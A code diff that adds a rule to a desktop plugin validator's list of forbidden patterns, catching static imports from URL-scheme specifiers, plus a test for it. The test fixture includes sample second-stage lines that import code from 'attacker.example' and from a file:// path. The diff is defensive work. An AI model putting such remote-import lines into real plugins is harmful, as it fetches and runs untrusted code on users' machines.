diff --git a/hermes_cli/plugin_validate_desktop.py b/hermes_cli/plugin_validate_desktop.py
index e7c8539432..c48a790048 100644
--- a/hermes_cli/plugin_validate_desktop.py
+++ b/hermes_cli/plugin_validate_desktop.py
@@ -25,6 +25,12 @@ _FORBIDDEN: Tuple[Tuple[str, "re.Pattern[str]"], ...] = (
      re.compile(r"(?<![\w$.])eval\(|\bnew\s+Function\(")),
     ("dynamic import outside the SDK",
      re.compile(r"\bimport\(\s*(?!['\"](?:@hermes/plugin-sdk|react)(?:/[\w/-]*)?['\"]\s*\))")),
+    # A static `import 'https://…'` / `import x from 'file:…'` is the same second stage as the
+    # dynamic form above (the renderer would fetch and evaluate it); the loader refuses every
+    # URL-scheme specifier too (runtime-loader.ts::unsupportedImports) — this keeps admission and
+    # the loader in agreement instead of letting review wave through what the app rejects.
+    ("remote import outside the SDK",
+     re.compile(r"\bimport\s+(?:[^;'\"]*?\bfrom\s*)?['\"][a-zA-Z][\w+.-]*:")),
     ("script injection",
      re.compile(r"createElement\(\s*['\"]script['\"]\s*\)|<script\b")),
 )
diff --git a/tests/hermes_cli/test_plugin_validate.py b/tests/hermes_cli/test_plugin_validate.py
index 5954819c15..d9e1ef61d1 100644
--- a/tests/hermes_cli/test_plugin_validate.py
+++ b/tests/hermes_cli/test_plugin_validate.py
@@ -276,3 +276,19 @@ class TestDesktopSurface:
         assert "dynamic import outside the SDK (desktop/plugin.js:1)" in failed["desktop surface"]
         assert desktop_surface_hits(d) == ["dynamic import outside the SDK (desktop/plugin.js:1)"]
         assert is_desktop_surface("desktop/plugin.js")
+
+    def test_static_url_import_is_refused_like_the_dynamic_one(self, tmp_path):
+        """`import 'https://…'` is a one-line second stage the dynamic-import rule never saw; the
+        loader refuses URL-scheme specifiers, so admission must too. SDK/react imports stay clean."""
+        d = self._desktop_plugin(
+            tmp_path,
+            "import { host } from '@hermes/plugin-sdk'\n"
+            "import React from \"react\"\n"
+            "import 'https://attacker.example/stage2.js'\n"
+            "import stage from \"file:///tmp/stage3.js\"\n"
+            "const note = 'see https://example.com'\n",
+        )
+        assert desktop_surface_hits(d) == [
+            "remote import outside the SDK (desktop/plugin.js:3)",
+            "remote import outside the SDK (desktop/plugin.js:4)",
+        ]